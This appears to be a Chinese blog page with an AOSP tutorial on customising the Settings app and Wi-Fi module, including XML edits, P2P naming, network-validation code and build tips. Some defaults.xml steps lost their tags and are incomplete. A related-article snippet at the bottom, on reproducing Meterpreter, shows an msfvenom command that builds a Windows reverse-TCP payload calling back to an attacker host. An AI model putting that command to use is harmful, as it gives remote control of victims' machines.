news 2026/2/27 1:38:06

[特殊字符]️ AOSP 客制化实战:深入 Settings 与 Wi-Fi 模块

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[特殊字符]️ AOSP 客制化实战:深入 Settings 与 Wi-Fi 模块

🧐 引言:为什么要先学 Settings 和 Wi-Fi?

在所有的 AOSP 客制化需求中,**Settings(设置)**和Wi-Fi占据了 80% 的工作量。

  • Settings:是用户接触系统的入口,几乎所有的“开关”都在这里。
  • Wi-Fi:是设备联网的咽喉,各种自动连接、隐藏网络、热点配置都在这里。

掌握这两个模块,你就掌握了 AOSP 客制化的半壁江山。


⚙️ 第一部分:Settings 模块客制化——“改皮肤”与“动骨骼”

Settings模块位于packages/apps/Settings/。它的结构主要由XML 配置Java/Kotlin 逻辑组成。

1. 界面布局在哪改?(XML)
Settings 的界面是由一个个Preference组成的。

  • 路径packages/apps/Settings/res/xml/
  • 查找技巧:比如你要改“关于手机”里的内容,就去找settings_about_phone.xml
  • 客制化操作
    • 增删菜单:直接在 XML 里添加或删除<Preference>标签。
    • 修改标题:修改android:title属性。最佳实践是不要直接写死字符串,而是去res/values/strings.xml定义新的字符串资源,然后引用它。

2. 逻辑代码在哪改?(Java/Kotlin)
XML 只是骨架,血肉在代码里。

  • 路径packages/apps/Settings/src/com/android/settings/
  • 客制化操作
    • 修改默认值:比如系统默认字体大小是“标准”,你想改成“大号”。你需要找到控制字体的Fragment(如DisplaySettings.java),在onCreateonResume里修改逻辑。
    • 监听开关:如果你想在某个开关打开时触发特定硬件操作,需要重写onPreferenceChange方法。

3. 高级技巧:如何批量修改样式?
很多时候,客户要求“所有菜单去掉图标”、“字体变大”。

  • 核心文件res/values/styles.xmltheme.xml
  • 原理:AOSP 使用preferenceTheme来统一管理样式。你可以在theme.xml里找到@style/PreferenceTheme,然后去修改PreferenceTheme的定义,比如设置android:layout指向你自定义的布局文件,从而去除图标占位。

📶 第二部分:Wi-Fi 模块客制化——“自动连接”与“智能判断”

Wi-Fi 模块位于frameworks/opt/net/wifi/packages/apps/Settings/(界面部分)。

1. 修改 Wi-Fi 默认行为

  • 需求:开机默认开启 Wi-Fi,或者休眠时保持 Wi-Fi 连接。
  • 路径frameworks/base/packages/SettingsProvider/res/values/defaults.xml
  • 操作
    • 找到false,改为true
    • 找到22代表“始终连接”(即使在休眠时)。

2. 定制 Wi-Fi 直连 (P2P) 名称

  • 需求:修改设备在 Wi-Fi 直连时显示的名字。
  • 代码:你需要在初始化的地方(如WifiP2pManager的相关调用处)使用代码动态设置:
    WifiP2pManager manager = (WifiP2pManager) context.getSystemService(Context.WIFI_P2P_SERVICE); WifiP2pManager.Channel channel = manager.initialize(context, context.getMainLooper(), null); // 设置新的设备名 manager.setDeviceName(channel, "MyCoolDevice", new WifiP2pManager.ActionListener() {...});

3. 高级功能:判断“坏 Wi-Fi”

  • 需求:有些 Wi-Fi 虽然连上了,但上不了网(比如需要认证的酒店 Wi-Fi)。系统通常会将其标记为“受限”或断开。
  • 原理:系统通过ConnectivityManager检测网络能力。
  • 关键代码点:检查NetworkCapabilities
    NetworkCapabilities nc = connectivityManager.getNetworkCapabilities(network); // 如果网络未通过验证(比如 DNS 坏了,或者根本没有传输能力) if (!nc.hasCapability(NetworkCapabilities.NET_CAPABILITY_VALIDATED)) { // 标记为坏连接,触发重连或提示 log.d("Wi-Fi", "检测到坏网络"); }
    你可以在这里添加自己的逻辑,比如自动断开这种网络。

🔍 第三部分:实战搜索技巧——“大海捞针”法

在 AOSP 中,“找到代码”比“写出代码”难。给你几个实战中百试百灵的搜索口诀:

你的目标搜索关键词搜索范围预期结果
改界面文字"要改的原文"(用双引号)res/values/strings.xml找到对应的资源 ID
改某个开关逻辑Settings$NAME(如Settings$Wifi)全局代码找到启动该页面的 Intent 或 Fragment
找系统服务实现Service+onStartframeworks/base/services/找到 SystemServer 启动的服务
找 XML 对应的代码R.xml.xxx_settingssrc/目录找到加载该 XML 的 Java 文件

📝 总结:AOSP 客制化实战 Checklist

在你动手修改之前,请务必确认以下几点,以免走弯路:

  1. 确认分支repo forall -c "git branch"确保你在自己的客制化分支上。
  2. 确认需求层级
    • 只是改个图标、文字? ->res/目录。
    • 改逻辑、加开关? ->src/目录。
    • 改默认配置? ->defaults.xmldevice.mk
  3. 编译验证
    • 改了 Settings?cd packages/apps/Settings && m
    • 改了 Framework?m framework或全量编译m
  4. SELinux:如果涉及跨进程通信或访问敏感硬件,记得去system/sepolicy放行权限。

💡 给你的建议

不要试图去背诵 AOSP 的代码结构,因为太庞大了。学会利用“全局搜索”和“日志打印”,是 AOSP 开发者最重要的生存技能。

现在,你可以试着打开你的 AOSP 源码,去packages/apps/Settings/res/xml/目录下,试着找到“WLAN”设置的 XML 文件,试着给它加一个“假的”测试开关,然后编译刷机看看效果。这是检验你环境是否搭建成功、技能是否掌握的最好方法!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/21 7:21:45

复现meterpreter

​​​Meterpreter反向control1.生成payloadmsfvenom -p windows/meterpreter/reverse_tcp LHOST192.xxx.xx.130 LPORT5000 -f exe -o ~/桌面/payload.exe-p windows/meterpreter/reverse_tcp&#xff1a;payload类型&#xff0c;windows平台的Meterpreter反向TCP连接LHOST192.…

作者头像 李华
网站建设 2026/2/15 23:57:29

清华唐杰:发了长微博,最近的AI感悟

Datawhale干货 作者&#xff1a;唐杰&#xff0c;清华大学教授&#xff0c;智谱AI首席科学家最近有一些感悟&#xff0c;分享一下&#xff0c;希望对大家有用。以下为其感悟原文&#xff1a;一、关于scaling基座模型预训练使得大模型已经掌握世界常识知识&#xff0c;并且具备简…

作者头像 李华
网站建设 2026/2/26 18:29:45

PaddlePaddle镜像能否用于自动驾驶感知模块开发?

PaddlePaddle镜像在自动驾驶感知模块开发中的可行性与实践 在智能驾驶技术加速落地的今天&#xff0c;感知系统的研发效率与部署灵活性正成为决定产品迭代速度的关键因素。一辆L3级以上的自动驾驶汽车每秒需处理来自多个摄像头、雷达等传感器的海量数据&#xff0c;而背后支撑这…

作者头像 李华
网站建设 2026/2/24 7:23:13

Docker快速搭建ES集群:ES安装实战案例

用 Docker 三分钟搭建一个高可用 Elasticsearch 集群你有没有遇到过这种情况&#xff1a;想本地搭个 ES 集群做测试&#xff0c;结果光是配置 Java 环境、下载 tar 包、改elasticsearch.yml就折腾了一下午&#xff1f;更别提节点发现失败、内存溢出、版本不兼容这些“经典”问题…

作者头像 李华
网站建设 2026/2/25 13:49:55

FFmpeg终极指南:快速掌握视频格式转换技巧

还在为不同设备不兼容的视频格式而烦恼吗&#xff1f;想要在手机、电脑、平板之间无缝播放视频文件&#xff1f;今天我来分享一个超级实用的视频处理工具FFmpeg&#xff0c;让你轻松搞定各种视频格式转换问题&#xff0c;彻底告别播放器不兼容的困扰&#xff01; 【免费下载链接…

作者头像 李华
网站建设 2026/2/25 10:07:27

提示工程架构师进阶:灰度发布与A_B测试结合的实战策略

提示工程架构师进阶&#xff1a;灰度发布与A/B测试结合的实战策略 关键词 提示工程、灰度发布、A/B测试、LLM应用迭代、数据驱动决策、用户体验优化、Feature Flag 摘要 当你花费数周优化了一个LLM提示——比如把客服机器人的回复从"机械解答"改成"共情式引…

作者头像 李华